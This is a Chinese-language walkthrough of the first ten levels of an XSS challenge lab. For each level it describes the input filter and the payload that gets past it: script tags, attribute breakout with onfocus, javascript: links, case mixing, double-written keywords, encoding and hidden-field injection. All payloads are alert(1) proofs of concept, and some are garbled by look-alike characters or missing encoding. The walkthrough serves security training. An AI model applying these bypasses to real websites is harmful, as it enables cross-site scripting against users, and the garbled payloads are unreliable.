简介
XSS挑战赛,里面包含了各种XSS的防御方式和绕过方式,好好掌握里面的绕过细节,有助于我们更好的去发现XSS漏洞以及XSS的防御。本文更多的是分享解析的细节,不是一个标准的答案,希望大家在渗透的时候有更多的思维。
挑战开始
Level1
通关过程
第一关总的来说,比较简单,直接先尝试:
payload
<script>alert(1)</script>
Level2
通关过程
直接尝试payload:
查看源码:
想办法去逃逸输入框:
payload
a"><script>alert(1)</script>
Level3
通关过程
直接尝试:
发现没有弹窗,审核源码:
到这里说明,不能再输入标签了,所以需要转换思路,这个地方标签不行,那我们就尝试事件,这个地方考虑使用onfocus事件:’ οnfοcus='alert(1)
这个单引号就是为了闭合value的单引号。
paylaod
' οnfοcus='alert(1)
Level4
通关过程
直接尝试:
分析源码:感觉和第三关思路一致
尝试: " οnfοcus="alert(1)
payload
" οnfοcus="alert(1)
Level5
通关过程
直接尝试:
意味着不能输入script标签了,换思路,用事件:" οnfοcus="alert(1)
考虑这个地方有没有可能是个黑名单机制呢?换不常用的事件:
看来过滤的比较讲究,那么我们试试逃逸输入框,用其他标签来试试:
">jack
点击通关:
payoad
"><a href="javascript:alert(1)">jack</a>
Level6
通关过程
直接尝试:
直接尝试:">jack
尝试大小写绕过:">jack
payload
"><a HrEf="javascript:alert(1)">jack</a>
Level7
通关过程
直接尝试:
双写?alert(1)
尝试:">alert(1)
payload
"><scrscriptipt>alert(1)</scscriptript>
Level8
通关过程
直接尝试:
看源码:
那么伪协议?
javascript:alert(1)
这个地方多半对事件也进行了处理,双写就不用试了,因为没有删除关键字
考虑到unicode是支持所有的编码,那么转成这个编码看行不行:
所以直接尝试:
payload
javascript:alert(1)
Level9
通关过程
直接尝试:
需要一个合法链接?
那么输入:javascript:alert(1);//http://www.baidu.com
还是被处理了,那么用和8关相同的编码试试:
javascript:alert(1)//http://www.baidu.com
payload
javascript:alert(1)//http://www.baidu.com
Level10
通关过程
直接尝试:
看来被实体化了。看源码:
尝试着传递这几个隐藏域的值:
构造逃逸:t_sort=a" οnfοcus=“alert(1)”>
继续构造:t_sort=a" οnfοcus=“alert(1)” type="text
payload
&t_sort=a" οnfοcus="alert(1)" type="text